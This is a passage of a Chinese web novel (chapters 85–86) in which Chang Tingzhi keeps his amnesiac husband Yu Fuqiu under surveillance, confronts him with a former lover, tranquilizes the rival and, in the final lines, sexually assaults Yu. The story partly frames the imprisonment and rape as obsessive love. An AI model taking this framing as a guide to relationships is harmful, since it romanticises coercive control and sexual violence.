“可是他们对我造成的伤害是还在的,庭知。”
“碎裂的镜子即便重新修补好了,也是会留下缝隙的。”他摸了摸长庭知的头发,拿着他的手摸着自己的肚子:“过去的就让它过去好吗?我们的宝宝会有一个新的开始。”
耳边传来余赋秋的心跳声,让长庭知清醒过来,他愣愣地看着自己贴在小腹上的手,那种不真切感如排山倒海般朝他席卷而来。
“我想去福利院,好吗?”他抬起长庭知的下颚,在他的额间落下温柔一吻:“去看看那边的孩子,为春春和肚子里的孩子积福。”
左成双说要好好照顾余赋秋,不能让他再激烈了,至少心情要好,才能缓解病情的恶化。
长庭知沉默了半响,轻轻点了点头,轻声道:“可以。”
“但要约法三章。”
“你必须要带上我的人,为了保护你。”他摸了摸余赋秋的肚子,他要好好保护这来之不易的孩子。
“第二,你去哪里都必须和我报备,不然……我怕我会去找你的。”
“第三……你必须晚饭要回来吃,我会在家里等着你的。”
长庭知亲昵地蹭了蹭余赋秋,在备忘录打下了这三条。
“你要相信我一切都是为你好的,球球。”
余赋秋看着自己脚上的铃铛,繁冗的花纹在灯光下闪着耀眼的光,他却面无表情地勾了勾唇角。
只要出去见到沈昭铭,现在所受的一切,忍耐又如何?
……
自从余赋秋去福利院之后,他的情绪比先前好了很多,脸上也逐渐有了微笑,气色也慢慢上来了,随着身体的逐渐康复,左成双来复查,确认余赋秋可以进行下一步治疗。
长庭知却犹豫了。
他想起了找私家侦探去调查余赋秋和沈昭铭之后的点点滴滴,余赋秋还海外的两年,对着另一个男人笑意盈盈的撒娇。
他们一起去看过京都的樱花,一起去过德国的啤酒节,甚至一起去看过冰岛的黑沙滩,在冰岛的黑沙滩,留下了两个人相识一笑的照片,照片中的余赋秋穿着沈昭铭的外套,裹在他的怀里,手中拿着冰块,冰块在阳光的照耀下很像钻石,他们姿态亲昵,仿佛是一对爱人,而沈昭铭正在给余赋秋戴着钻戒。
他们去打卡各个世界的迪士尼。
那全都是长庭知曾经和余赋秋一起做过的。
沈昭铭在挑衅他。
长庭知接收到了这个信号,心头的烦躁感又一次涌现了上来。
他们真的没做过吗?
余赋秋真的没爱过沈昭铭吗?
每每到深夜,长庭知看着在怀中熟睡的身影,看着他在福利院露出的笑容,和在他面前露出的笑容,明明一致,却又感觉哪里不一样。
这个烦躁感如同藤蔓一样攀爬着他的心脏。
可偏偏,他又找到了沈昭铭的踪迹。
就在福利院。
第85章 第85章[VIP]
“春春。”
长庭知处理好今天所有的工作后, 打开了手机,每经过一个小时,他跟在余赋秋身边的人就会把余赋秋干了什么, 和谁说了话, 说了什么,一清二楚的给他禀报着,然后他也会给余赋秋打去视频通话, 看着背景的确是福利院。
长庭知才放下心来。
他走出了房门,寻找着长春春。
“爸爸!春春在这里!”
长春春现在几乎用不到轮椅了,他一直在家里范围移动, 摸透了家里的布局, 有时候连拐杖也不需要。
此刻的他正蹲在花园里面,用手摇着池塘里的水, 想要抓着鱼儿, 就在他刚触碰到鱼儿,就因为长庭知这么一喊,鱼儿逃跑了。
他嘟囔着,大声冲着长庭知喊:“爸爸都怪你!!!等妈妈回来我要告状!我的鱼!!”
靠在窗上的长庭知一愣,心中顿时涌起了一股异样的感觉, 他的掌心在胸口前紧握着。
这是一种…
他没有体会过的感觉。
他一开始的确体会不到任何的感觉, 只有遵循那道声音走所谓剧情的时候, 去靠近柯祈安,他才能体会到普通人有的情感。
可很快,他不满足于现在了。
尤其在他引入了长庭知大部分记忆的时候, 他开始渴望去体会余赋秋的爱了。
在过去两年, 长春春虽然会喊他爸爸,但是他却总带着一丝局促和不安, 他不会大肆地哭、笑。
只会自己一个人在黑夜中,嚼着被角默默流泪,然后在复建中摔倒了也一声不吭,直到家里的保姆看到他双腿青紫,他才会小声地哼唧一下,说疼。
长庭知不知道怎么去和自己的孩子去交流。
他虽然融合了长庭知的记忆,但他终究不是那个长庭知,没有参与长春春出生、长大的全过程。
所以他选择了逃避。
亲情对于他太过陌生,他只能在物质上尽可能满足长春春,他拼了命的工作,就是为了余赋秋回来可以看到他把长春春养的很好。
可是现在。
是长春春第一次冲他撒娇。
他搭在窗台上的指尖微不可察地蜷缩了起来。
他这才笑起来:“好,你去告诉妈咪,让妈咪惩罚爸爸。”
“爸爸要去看妈妈,你去不去?”
长春春没听清他的话,还在埋头抓鱼,一种誓不抓到鱼不罢休的模样。
长庭知失笑一声,他看了看手边的药,这是左成双治疗他的躁郁症而新的药物。
他抓起药,倒出一粒,生吞了下去。
长庭知对着身边的人说了什么,提起自己亲自熬的粥,换了一身休闲的服装,朝着福利院的方向开去。
………
余赋秋觉得这样的日子舒心了不少。
虽然要一个小时和长庭知禀报一次,而且长庭知的人寸步不离地跟着他,只有在厕所间,他才能有自己喘息的空间。
这比见到长庭知要令余赋秋放松的多。
也许是近期他的行为太乖了,长庭知放松了他的一丝丝警惕,他有了更多自由的时间。
他是来福利院帮忙的,也捐了不少款。
他不需要做太多的事情,偶尔还能碰到隔壁大学来的学生。
“你是b大的?”
余赋秋坐在阳光倾满的长椅上,看着穿着红色马甲的大学生,目露好奇。
“是的呀,我经常来这边,之前就看到过你了,但是有个穿黑色西服的人一直跟在你身后,我一靠近就让我赶紧离开,真吓人。”
男生穿着浅色的卫衣,里头套了一件白色的衬衫,下摆穿着牛仔裤,衬得他脸上朝气蓬勃。
和死气沉沉的余赋秋不一样。
这是青春才有的样子。
“不过他今天在你旁边,居然没喊我走诶?”
男生好奇地瞅着旁边的黑衣人。
“他…嗯…没关系的,你放心。”
余赋秋仰头看着漫天的白云,神情安静切悲切。
“你能给我讲讲…b大的事情吗?”
提起这个学校,他的心脏涌现起一阵酸涩的悲切。
他无意识地抬手,轻轻按住了左胸。
心跳似乎因为这两个字而漏跳了一拍,传来一阵闷闷的疼。
不是心脏病发作的那种尖锐绞痛,而是一种……怅然若失的钝痛。
男生努力想了想,斟酌着开口:“学校……挺大的,春天樱花开的时候很漂亮,图书馆后面有一片湖,很多同学喜欢在那里看书或者……约会。最近好像有什么学术竞赛,挺热闹的……”
他总觉得自己遗忘了一个很重要的人。
这个念头并非第一次出现。
在那些破碎的梦境里,在偶尔闪回的记忆碎片中,甚至在他自己都无法解释的、对某些事物产生的强烈反应里,都隐约指向一个模糊的、温暖的影子。
那个人会给他讲讲B大的事情。
听他用带着笑意的声音描述校园的四季,抱怨难吃的食堂,分享有趣的见闻。
那个人会是……谁?
“还有吗?”余赋秋的声音更轻了,带着不易察觉的颤抖,“任何……小事都可以。上课的路上,常去的食堂窗口……什么都可以。”
“上课的路上……”
男生的眼睛亮了亮,“说到这个,那么湖边那棵树是一定有一席之地的。”
“在那棵树下许愿的情侣,听说会一直一直在一起。”
【球球,今天我进了导师的组,后面会很辛苦,所以呢,你现在要多亲亲我。】
【弟弟?会有这么亲哥哥的弟弟吗?我是你男朋友,你为什么要在别人面前说我是你的弟弟?】
【球球,这棵树会一直在这里,我们会永远永远在一起。】
【我教你学英语好不好?你不笨的,每个人都有自己擅长的东西,只是时间或早或晚而已。】
在阳光照耀下,男生的眼睛亮亮的,余赋秋有一时间的失神。
他得知了男生的名字。
沈祯。
沈祯经常来福利院,他们会像真正的朋友一样坐在长椅上畅聊天地,更多是沈祯说着,余赋秋侧耳聆听,偶尔回应一声。
只是在一个晚上他准备回去的时候,沈祯忽然拉住了他的手,在他的耳边说:“嫂子,我哥知道了你的消息,他会立刻赶回来。”
“你要照顾好自己,明天老地点见。”
随即他冲着余赋秋挥了挥手。
余赋秋瞳孔皱缩。
“余先生,该回去了,先生在家里等您。”
身后的保镖督促着失神的余赋秋。
余赋秋脚步虚浮地上了车。
沈祯。
沈祯。
他呼吸一窒。
昏睡的记忆渐渐浮出了水面,沈昭铭曾对他说过他有一个小他几岁的堂弟,在b大读书,等有机会就让他们见见。
他还说沈祯是他的迷弟,喜欢他很多年了。
余赋秋紧攥着自己的衣角,心跳加速。
沈昭铭找到他了吗?
他是不是可以见到沈昭铭了?
这个认知让余赋秋的心情雀跃了起来,他总算是可以脱离了这个牢笼。
所以那天晚上回去,余赋秋甚至主动的张开怀抱去拥抱长庭知,长庭知被他勾的,急切的亲吻落下,却被他阻止了。
“还没三个月,是不可以的。”
长庭知忍耐着,把脑袋埋在他的小腹上,似乎只有这样,才可以感受到孩子的脉动。
而余赋秋想的是,他不能带着满身的伤痕去见沈昭铭。
他至少要身体是干净的,去见沈昭铭。
第二天,他特地穿上了一件亮色的衣裳,长庭知看着他愣神,“今天……是什么好日子吗?”
“球球,你穿的实在是太……”
和记忆中的重合。
每次余赋秋和长庭知出去约会,都会穿着亮色的衣服,长庭知的童年晦暗,他对颜色的认知也不高,平常在办公室甚至在其他的房子里面,都是灰色的精简风,如果不是余赋秋喜欢这里添一点,那里添一点,只会是冰冷的灰色。
余赋秋会买很多亮色的情侣装,在长庭知清一色的西装衣柜中布满了生活的色彩。
“今天……”余赋秋愉悦地眯起了眼,对着镜子整理了自己的衣裳,对着长庭知扬起一抹笑,“是福利院的生日会。”
所谓的生日会,就是捡到了很多的孩子,孩子们的出生年月不详细,统一在捡到的那天日期作为他们的生日。
“……”长庭知喉头滚动了两下,轻轻揉了揉余赋秋的长发,“你还忘了,今天是什么日子吗?”
“今天?”
余赋秋迷茫地摇了摇头,“是什么节日吗?”
长庭知闭了闭眼,俯身,在他的脸上落下温柔一吻,“没什么,早点回来。”
然后到了晚上,余赋秋还是没回来,长庭知带着自己熬好的粥,后备箱里放着艳丽的鲜花,手边是他刚去城南买下来的蛋糕。
余赋秋最喜欢吃这家的蛋糕,但这家需要预约和预定,等待的时间还需要久一点。
在去福利院的路上,等待着红灯,长庭知的指尖轻轻敲击着方向盘,一想到余赋秋肯定给他惊喜了,他的笑意就止不住。
今天是他们结婚纪念日。
他怎么可能会忘记呢?
春春还特意和余赋秋旁敲侧击过,今天打扮这么漂亮,不就是为了让他过去,给他一个惊喜吗?
长庭知的心脏砰砰直跳,眉目弯弯地看着天边的晚霞。
他想,余赋秋是不是开始接纳他了?
……
“昭铭!”
他似乎清瘦了些,眉目间带着挥之不去的忧虑和疲倦,但在看到余赋秋出现的刹那,那双眼睛迸发出惊喜和眷恋。
“赋秋!”
没有犹豫、没有试探,沈昭铭紧抱着怀中的茉莉花,在余赋秋的腿软倒下之前,一把将他紧紧地拥入怀中。
此刻,舞台前面是热闹的歌舞,寂静的后台只剩下他们两个人,温热的体温、剧烈的心跳,瞬间交融。
沈昭铭的怀抱坚实而温暖,带着过去两年余赋秋记忆深处熟悉的安全感和珍视。
他的手臂用力到发颤,像是要确认怀里的人是真实的,又像是想要将他揉进自己的身体里,隔绝外界所有的风雨与伤害。
“你怎么样?他有没有对你……”
沈昭铭的问题又急又乱:“你的手好凉,是不是都没吃药了?你怎么出来的?”
他的声音沙哑,带着压抑不住的哽咽,他的手掌抚摸上余赋秋的脊背和后脑,触碰之处一片冰冷和瘦骨嶙峋,心尖像是被狠狠拧了一把。
“好瘦……我不在的期间,你是不是都没好好吃饭?”
他想要看着余赋秋的脸庞,但余赋秋只是把连深深埋入他的肩窝,滚烫的泪水,无声地汹涌而出,他张了张嘴,却发现自己发不出完整的声音。
原来,在过去的两年里面,沈昭铭已经在他心中的地位重要到这个地步了吗?
这个拥抱,这种纯粹的、不带任何目的的拥抱,是他被强制带回去后,从未感受到的。
长庭知总让他感到陌生和害怕。
噩梦中和美梦中的脸不断的变化,他开始分不清现实与虚幻。
长庭知的拥抱永远带着强硬的掌控,从未有过这样……纯粹为了慰藉和保护的紧拥。
“昭铭……昭铭……”他终于找回了声音,反复呢喃着这个名字,仿佛是这个深海之中唯一的浮木,“我,我不知道……他说,他是我的爱人,是我孩子的父亲,我的脑袋好痛。”
“我想不起来,他总是强迫我想起来,那个房间好黑,我不喜欢呆在那个笼子里,他锁着我……”
“我不喜欢这样的,我不喜欢这样的……”
更让他绝望的是,他半夜醒来的时候,他的手都放在长庭知的脖子之上,只要一点,他用力掐下去就可以结束这个人的生命 ,可是每每这个时候,他的心底总是会生出无切的悲意和爱意,那道声音总是在他的耳边回荡着。
亲昵地喊着他球球球球。
明明是一个人的声音,但在余赋秋的心中,总是两个不同的人。
余赋秋颤抖着落泪,他只能把自己深深地埋入长庭知的怀抱之中,去咽下这令他眷恋又憎恶的声音。
到底是谁?
他到底遗忘了什么?
他语无伦次,对春春的愧疚、对长庭知那复杂难言的恨与记忆碎片的冲击,全都倾斜在这个短暂的、偷来的拥抱之中。
“我知道,我知道……”
沈昭铭心疼得无以复加,更紧地抱住他,嘴唇贴着他湿冷的发髻,声音低沉而坚定,“别怕球球,别怕,看着我,看着我,我们一起生活的那两年,我们一起布置着我们的小家,还记得你生病时我陪伴在你的身边吗,还有我们的宝宝七七和九九,它们都在等待你回去。”
“我终于找到了你,我把他们养的很好,如果,如果你放不下春春,我们,我们就带春春一起走,好不好?”
“不要怕,不要怕。”
“长庭知的行为是非法拘禁,他对春春做的那些事情,对你做的那些事情,法律不会允许,再给我一点时间,不,不,我们现在就走,不管这些了,我们走好不好?”
余赋秋抬起泪眼朦胧的脸,“带我走,昭铭,求求你,带我走。”
在昏暗灯光下,泪水打湿了眼睫,如蝶翼般颤抖,眼尾泛红,神情迷离,他轻咬着红唇,偏偏这副模样,让沈昭铭瞬间晃了神。
他慢慢地抬起余赋秋的脸,轻柔的吻顺着额头慢慢落下,余赋秋颤抖着闭上眼,微微仰起头,指尖泛白抓着他的袖口。
这时候旁边有人经过,沈昭铭下意识地拉着余赋秋把自己的方向带,余赋秋衣服松垮,偏偏露出了一个雪白的肩膀,从别的角度看就是两个人靠的很近,亲吻密密麻麻地落在对方的肌肤上。
余赋秋忽然涌现起一股不好的预感,下意识地抱着雪白的茉莉花抬起头,看到了漆黑之中的门被半推开,面无表情地站在门后的长庭知。
第86章 第86章[VIP]
他的脸唰的一下子就白了。
怀中的茉莉花掉落在地上, 随着他的动作而四散开来,在脚边落下。
沈昭铭察觉到了他的异样,赶忙扶着他, 给他拉好衣角, 轻声询问他怎么了。
余赋秋僵硬地抓着他的衣角,苍白着脸色摇摇头,一声不吭, 身体却在止不住地颤抖着。
沈昭铭感知到了什么,他慢慢地回过头,和黑暗中的长庭知对上了视线, 他紧咬着后槽牙, 将余赋秋挡在自己的身后。
长庭知的目光慢慢向下,看着那双红肿的双唇, 他忽然轻笑了下。
“在我们结婚纪念日这晚, 你所给我的惊喜,就是来会面老情人啊。”
“纪念日”三个字,如同投入余赋秋混乱脑海的巨石,激起更深的茫然与反胃般的厌恶。
他竟用这个日子,来定义这个?
沈昭铭将余赋秋挡得严严实实, 下颌紧绷:“长庭知, 是你非法拘禁他在先!放开他, 否则……”
“否则怎样?”长庭知打断他,语气平淡得可怕,目光却始终锁在余赋秋身上, “余赋秋, 过来。”
余赋秋的身体颤抖得更加厉害,但这一次, 除了恐惧,还有一股混合着恨意、绝望和愤怒,猛地冲破了出来。
他没有像往常那样瑟缩,反而从沈昭铭身后,微微探出了身子。
他看着长庭知,眼神不再是单纯的惧怕,而是一种疲惫到极点、厌弃到极点的冰冷。
“长庭知,”他的声音不大,却异常清晰,“我早就受够了你这种……无聊又廉价的把戏。”
“你这种自以为是的深情把戏,我恶心!”
“纪念日?囚禁的纪念日吗?还是你自导自演、感动自己的纪念日?” 他的嘴角扯出一个弧度,眼中却毫无笑意,只有一片恨,“把我关起来,贴上你的标签,这就是你所谓的‘爱’和‘纪念’?真是令人作呕。”
“你就是个强.奸.犯,你是个杀人犯!”
“我最后悔的一件事情,就是认识了你。”
“我选择遗忘一切,你为什么还要强迫我想起来,让我经历一切这么痛苦的事情?!”
长庭知的脸色显得更加晦暗,下颚线绷得像铁石。
他向前迈了一步,气压低得吓人。
余赋秋没有后退,反而迎着他冰冷的目光,挺直了颤抖的脊背。他伸出一只手,声音陡然拔高,带着警告:“还有他——沈昭铭。”
“你听着,”余赋秋盯着长庭知,一字一顿,“如果你今天敢动他一根手指,如果你敢用你那套肮脏的手段去伤害他——”
他停顿了一下,胸腔剧烈起伏,然后,用尽全身力气,清晰而冰冷地吐出后半句“我立刻死在你面前。”
“……”
长庭知又上前一步,面无表情地看着护在。
长庭知又上前一步,踩过掉落地上洁白的茉莉花瓣,将它们彻底嵌入黑暗的无边角落。
他面无表情地看着护在沈昭铭面前的余赋秋。
长庭知的视线穿透了时间的缝隙,回到了某个遥远的。
“十七年前,”他开口,目光落在余赋秋苍白而充满戒备的脸上,却又仿佛没有真正看他,“那条又黑又脏、连路灯都坏了一半的后巷。”
“我像条快死的野狗一样躺在那里,浑身是血,骨头大概断了几根,脑子里嗡嗡作响,以为那天晚上就会烂在那里。”
那双眼里闪过一丝极淡、几乎看不清的遥远光影。
“然后,你出现了,”他的目光又重新落在余赋秋的脸上,看着这张昨晚还是亲昵地埋首他怀中撒娇,如今却只剩下仇视的脸,“那天的雨很大,比现在的雨还大,然后你忽然出现了。”
“你看着我很久很久,真奇怪,这明明是我们第一次见面,你却喊出了我的名字。”
“我那时候很疼,我不想再被马戏团抓回去了,我以为你是马戏团的人,我想可能我这辈子就这样了吧。”
长庭知自嘲地笑了笑,“死了就死了吧,也好,我本该就不应该出生在这个世界上的。”
“但你把我带了回去,那是个二十人的大通铺。你用省下来的饭钱买了最便宜的药和绷带,笨手笨脚地给我处理伤口,还差点把我噎死,因为你只会煮一种糊糊状的粥。”
他的语速平缓,像是在讲述别人的故事,却又每个细节都清晰得可怕。
“我问你为什么要把我带回去,明明你把我交给马戏团能拿到一笔不菲的费用,至少会让你的生活好过很多。”
“你的一切我都看在眼里,你和他的一切,我都看在眼里,”他嘲讽地笑了笑:“其实他很早就知道了我的存在,他故意当着我的面,去和你亲昵,我什么也办不到。”
他寄居在那具身体里面,看着长庭知和余赋秋恩爱,他知道被逼到极致的余赋秋是怎样的,他眼尾泛红,小声叮咛,会蹭蹭长庭知的脖子软着声音求饶。
所以独属于剧情的声音问他要不要出现的时候,他几乎是毫不犹豫答应了。
“我们错过了十五年,球球。”
“他就是我,我就是他,我们从来都是一个人。”他轻声道:“你为了让我有一个更好的环境,一天打三份工,我们终于有一个属于自己的家。”
“我们在这个家里度过了很多很多的春夏秋冬,你都忘了吗。”
“我努力工作,你也坚持去演戏,去选择自己热爱的事业,我们的日子都慢慢好了起来,在我毕业的那一年,我和你求婚了。”
“极光、樱花、滑雪……”
他细数着他们之间的点点滴滴:“这些都是我们共同创造的回忆,沈昭铭他就是个小偷!他给你都是假的,我们才是真的。”
“我们还有春春,你抱着那么小一团,又哭又笑,说长得像我,以后肯定是个麻烦精。”
“可是他一哭,一生病、发烧,你就焦急地整夜整夜睡不着,就像……小时候那样对我。”
长庭知慢慢地走进余赋秋:“我七岁就跟了你,你说过你不会不要我的,你养大了我,你必须要我。”
他的指尖轻轻攥着余赋秋的袖口,指尖泛白,眼尾红得厉害,声音发颤却字字咬的死死的:“是你先选择了我,选了,就要一辈子对我负责,这都是你说的。”
“十七年。”他重复着这个数字,音量陡然升高:“从那条巷子,到春春出生,我们走了整整十五年。”
“可为什么———!”
他双眼赤红,看着被余赋秋护着沈昭铭的动作:“仅仅分开了两年——!”
“就仅仅两年,什么都变了!”
“你就把他忘了?把我忘了?把我们的十五年,忘得一干二净?!然后……然后就能心安理得地,躲到另一个男人的怀里?!”
“余赋秋,你告诉我,那十五年是假的吗?那条巷子是假的?我们一起挨过的饿受过的冻是假的?春春第一声含糊不清的‘妈妈’是假的?!”
“就两年……你就把什么都抹掉了?轻易得……像擦掉黑板上的粉笔字?!”
余赋秋抬起头,冷冷地看着长庭知。
“你真以为我全都没有想起来吗?”
长庭知一愣,紧抓着他袖口的指尖轻颤,却依然没放开。
“是,我想起来不多,但有一点是真的。”
“你这张脸一直出现我的噩梦中。”
“在过去的两年,他们从来都没有提及你的名字,你知道为什么吗。”
他指了指自己的心脏:“我刚被昭铭带出去的时候,全身不同程度的烧伤,心脏更是有了不可逆的损伤,我好几次从鬼门关过,医生说我不能再受刺激了,他们测试我的刺激源头是什么。”
“——直到听到了你的名字。”
他冷声道,感受着心脏处传来的阵阵疼痛,细密的汗丝从他的额头滑落,他却一动不动,语气冷硬。
“你是我恶化的源头。”
“十五年!”他甩开了长庭知拉着他的衣袖,“你只记得你的十五年!”
“那我的呢?”
“我的命就不是命吗?”
“你只记得你躺过的巷子,住过的地下室,挨过的冻!那我呢?!我记得什么?!”
“我记得是你越来越冷的眼神,甩开我的手,扔掉我给你做的饭,我那时候被很多人拖进巷子,我很害怕,我拼命打你的电话,你呢?!你在干什么?!”
“如果不是左成双,我那时候就会死在巷子里了。”
“春春出了车祸,你呢?你在哪里!!”他语气骤然拔高,甩手一巴掌打在长庭知脸上:“你在陪柯祈安!”
“我收到了你和他去开房的视频,你敢说你没心动过?”
“你怎么能享受我的好的同时,又去接受其他人?”
“我差点死在西班牙那边的小屋,你抱着柯祈安去医院,你想过我吗?”
“我认了,我想离开,你却说这是我欠他的,是我要赎罪的。”
他胸腔起伏不定,泪水从眼尾滑落:“为了照顾春春,我认了,偏偏这个时候,他和我说,他怀了你的孩子,他自己倒在楼梯上,污蔑是我推的,我说过没有,我说了很多次没有!”
“你从来不信我,我渴求把我的长庭知还回来,可是他回不来了,在那最后一次的深夜,他放开了我去找柯祈安的时候,我就知道,我们之间全都完了。”
“我要的是我的长庭知,他已经彻底消失了,不见了。”
“你为什么就是听不懂呢。”
心脏的位置传来尖锐的警告,但他已顾不得了:“是,我忘了!我把那些恶心的事情,那些让我喘不过气的日子,都忘了!我为什么要想起来?!”
他近乎癫狂地质问,“想起你是怎么一边说着‘十五年’,一边把我的尊严和感情踩在脚底的吗?想起我是怎么一遍遍告诉自己会好起来,却又一次次被现实抽耳光吗?!”
“你现在跟我说十五年?说开始多美好?” 心脏的疼痛让他的大脑无比的清醒:“那结局呢?长庭知!我们的结局,在你一开始接受柯祈安示好的人时候,在你开始用那种看麻烦的眼神看我和春春的时候,就已经烂透了!腐臭了!”
“我一开始不相信剧情,我觉得那是假的,那么爱我的你怎么会变成那样呢?所以我努力地想要去挽回你。”
“我想……我们至少还有春春。”
他闭着眼,深深地吸了一口气:“可是所有的一切都在告诉我,我们不可能。”
“我贪心了,我本不该占据不属于我的东西。”
“所以我认了长庭知。”
“我好不容易……好不容易才忘了那些事情,去认命接受一切。” 他的声音陡然低下去,变成了绝望的呜咽,混合着无尽的疲惫,“我忘了那些冰冷,那些背叛,那些让我夜夜惊醒的噩梦……我甚至……甚至都快忘了恨你……”
他抬起泪水交织的脸,望向长庭知,眼神里只剩下全然的哀恳与卑微的乞求,仿佛用尽了最后一丝力气:“我求求你……长庭知,我求求你了……放过我吧。”
“你看,我都忘了……我把坏的,好的,都忘了……我们两不相欠了,行不行?”
“你的十五年,我还给你了……用我那两年的生不如死,还有现在的……这幅鬼样子,还给你了,够不够?”
“别再逼我想起来了……别再把我拖回那个地狱了……我受不了了……真的……受不了了……”
他呜咽着:“放过我吧……求你了,我们两不相欠了,放过我……”
他仿佛又回到了那个被妈妈抛弃的雪天,他怀中揣着要带给妈妈的馒头,一个人走在风雪交加的雪地之中。
看着白茫茫的一切,他知道自己被抛弃了。
他找不到回家的路了。
他没有家了。
他好不容易地建立了一个自己的家,他只是想要自己的一个家,可为什么……会是这样的结果?
他真的已经没有东西可以付出了。
外面的歌舞台的声音越来越大,欢唱着愉快的歌声,更衬得后台的冰冷和寂静无声。
沈昭铭想要上前去抓着余赋秋的衣角,余赋秋却缓缓地摇了摇头,沈昭铭只能红着眼眶,颤抖着收回了手掌心,紧咬着嘴唇,心中充满了愤恨和不甘。
明明他都已经把余赋秋绑在自己的身边了,过去的两年里,他都冲刷了所有长庭知存在的记忆,他都把余赋秋带到了地球的另外一头,为什么长庭知还如此阴魂不散?!
余赋秋的身体依旧挡在沈昭铭的前面,冷冷地看着长庭知。
长庭知站在原地,一动不动。
余赋秋这番控诉,像异常突如其来的暴风雪,将那些过去关于十五年的记忆,彻底撕得粉碎。
柯祈安,这个名字,像是一记响亮的耳光,扇在他的脸上。
他想让余赋秋想起来的不是这个,是想让他记起来彼此深爱的那些点点滴滴,可余赋秋想起来的,却是长庭知亲手刻下的伤害。
“两不相欠?”
“放过你?”
他终于开口,声音干涩得如同沙砾摩擦着,他慢慢地重复着几个字,看着散落一地的白色茉莉花。
“球球,你说两不相欠?”
他伸出手,指尖想要触碰余赋秋的脸庞,“我们孩子都有了,你和我说两不相欠?”
“那是谁把我从小巷中带出来,告诉我你永远会陪在我身边,让我彻底离不开你的时候,你却说要两不相欠。”
“我放过你,谁放过我?”
“剧情的事情我一直知道,如果我不这么做,它们会对你下手,你以为春春的车祸真的是偶然吗?”
余赋秋瞪大了眼睛,“……”
但半响,他又放弃了,“那又怎么样呢,都过去了,让他结束吧,我真的累了,长庭知。”
“……”长庭知却轻轻勾了勾唇角,忽然,掏出一把黑色的枪,冰冷的洞口对准余赋秋,“我们回到过去不好吗?”
“你有我,有春春,我会给你想要的一切,你为什么还要逃跑呢?”
“我听从成双的意见,我以为春春可以软化你,可以让你愿意留在我身边,他劝说我放开你,我照做了,我给你了自由,也给了你去看外面的天地。”
“我还买了你最喜欢的小蛋糕,这个蛋糕是我成人礼那天,你跑了很多家店给我买的,你说之前穷,买不起这个蛋糕,那时候穷,我跟在你的身边,看在你矗立在橱窗外看着蛋糕很久很久,那时候我就下定决心,我要努力挣钱,你想要什么都不用犹豫的程度。”
“我努力了,我也知道错了,你不能什么机会都不给我。”
“凭什么他可以,我不行?!”
余赋秋不知道这个他指的是长庭知自己还是身后的沈昭铭。
“你以为先前的长庭知就是什么好货色吗,我们从本质上都是同一类人。”
“为什么你可以爱他,不能爱我?!”
“我劝说自己,想放你自由,我想,今晚的你一定会很开心,这是我们缺失的结婚七周年纪念日。”
“可你呢。”
他闭着眼睛,深深吸了口气:“背着我来这里私会其他男人,甚至……甚至……”
为了一个仅仅认识两年的人,就会欺骗他。
甚至抛下他们的孩子。
长庭知的大脑被这样的念头环绕着,他面无表情地将手上的小蛋糕重重摔在地上,原本精致漂亮的蛋糕瞬间变得一塌糊涂,空气中的茉莉花香和甜腻的蛋糕混合在一起,蔓延开来。
那黑漆漆的洞口对着余赋秋,“所以,我想,我为什么还要这样子委曲求全呢,我最后的目的都是为了让你在我的身边。”
“我试着改变了,以前我只看重结果,过程怎么样根本不重要,但现在面对你,……”
“我抛弃了以前的思考方式,只是为了让你不那么紧绷,让你可以有思考的时间,可以……想起我们。”
“但现在不重要了,我就应该一贯,什么自由,什么尊重,都没用,如果你最后决定是离开我,那我何必白费这么多力气呢?”
“我直接把你留在我身边,不好吗?”
他说着,脸上逐渐扩大出病态的笑容,那笑容越来越大,在黑暗之中扭曲着。
眼看着扳机扣动,余赋秋却死死凝视着长庭知,只见下一秒,枪口对准了他身后的沈昭铭。
余赋秋在那一瞬间大脑空白,尖锐地喊叫起来:“不要——!”
枪声响起,四周都寂静了下来,枪身上还残留着余温。
余赋秋近乎惊恐地转头,想要去看身后的沈昭铭。
只是下一秒,他被人立刻拉入了怀中,禁锢怀中。
只见沈昭铭的腿上有一枚银白色的针头。
“别动。”
长庭知伸出舌尖,轻轻地舔舐着他的耳垂,“我不保证下一枪,是不是真的会打断他的腿。”
“……”余赋秋颤抖起来,红着眼睛,“你,你这个疯子!”
“是啊,我是疯子。”他忽然低笑起来他的嘴唇几乎贴着余赋秋冰凉的耳廓,,“只是……我们一向隐藏得很好。”
“你注定,”长庭知的声音压得更低,带着一种偏执到极点的笃定,一字一顿,如同烙铁烫在余赋秋的灵魂上,“要和我这个疯子,纠缠一辈子。”
一辈子……这三个字如同最沉重的枷锁,瞬间勒紧了余赋秋的呼吸。
他的目光不由自主地转向被压制在地上的沈昭铭。
沈昭铭显然也听到了长庭知的话,他双目赤红,奋力挣扎,但药效很快起来了,他拼命摇着头:“赋秋,走!快……走……”
可余赋秋怎么走?
他能眼睁睁看着沈昭铭的腿被打断,甚至……遭遇更可怕的伤害吗?
沈昭铭是他过去两年灰暗人生中为数不多的光亮,是此刻唯一不惜冒险来救他的人,是他……无法背负的愧疚与牵挂。
“放心,只是会让他短暂地陷入昏迷的麻醉弹。” 他顿了顿,目光意有所指地瞥向前方舞台的方向,那里的歌舞表演节奏愈发激昂,似乎即将进入高潮段落,掌声和欢呼声隐约传来。
“当然,” 他转回视线,重新锁住余赋秋苍白如纸的脸,“前面的歌舞,马上就要进入尾声了。”
他的目光缓缓扫过余赋秋凌乱的衣衫、红肿的眼睛、泪痕交错的脸颊,以及此刻被自己半禁锢在怀中的姿态。
“是我最近对你太放纵了,才让你终于忍不住了,背着我出来找男人满足你,你就这么饥渴?”
“这么喜欢在外面找寻背德感?”
余赋秋别开头,却被他强硬地钳制了回来,他冷冷道:“你以为人人都像你有这么龌龊的思想么。”
“你自己是疯子,不代表别人也是,你是这个世界的异类,你才是不被接受的存在。”
“龌龊?”长庭知轻笑道,撩开他的衣服,指着上面浅淡的吻痕:“怎么,这个不是他留下的?”
“如果我今天没来,你是不是就一起要开个庆功宴,然后去酒店,不,酒店都等不及了,就在人群尾声的高潮,要在这里做?”
“滚——!你这个魔鬼,你为什么不去死!”
“好啊,我这个魔鬼,就让你看看,我要对你做些什么。”
他快速地反锁了房门,当着昏迷的沈昭铭的面,将余赋秋狠狠压在地上,“你喜欢这样是不是?”
他将茉莉花的藤蔓死死地缠绕在余赋秋的双手上,钻心的疼痛几乎比得上心口的疼痛。
浓重的味道在房间里弥漫开来,血腥味混合着茉莉的花香散开来,余赋秋仰着头,被迫伏膝着。
他嘴唇都被咬出血印,他却一声不吭,长发散落在地上,他只是被逼到深处,头发被拽着,仰起头来的时候,才会尽力地去抓着已经昏迷沈昭铭的衣角。
流下绝望的泪水。
他的眼神逐渐变得麻木。
“球球,不能离开我……”
“只有这样,你才能记住我,才能记住我给予你的疼痛,你才能记住我。”
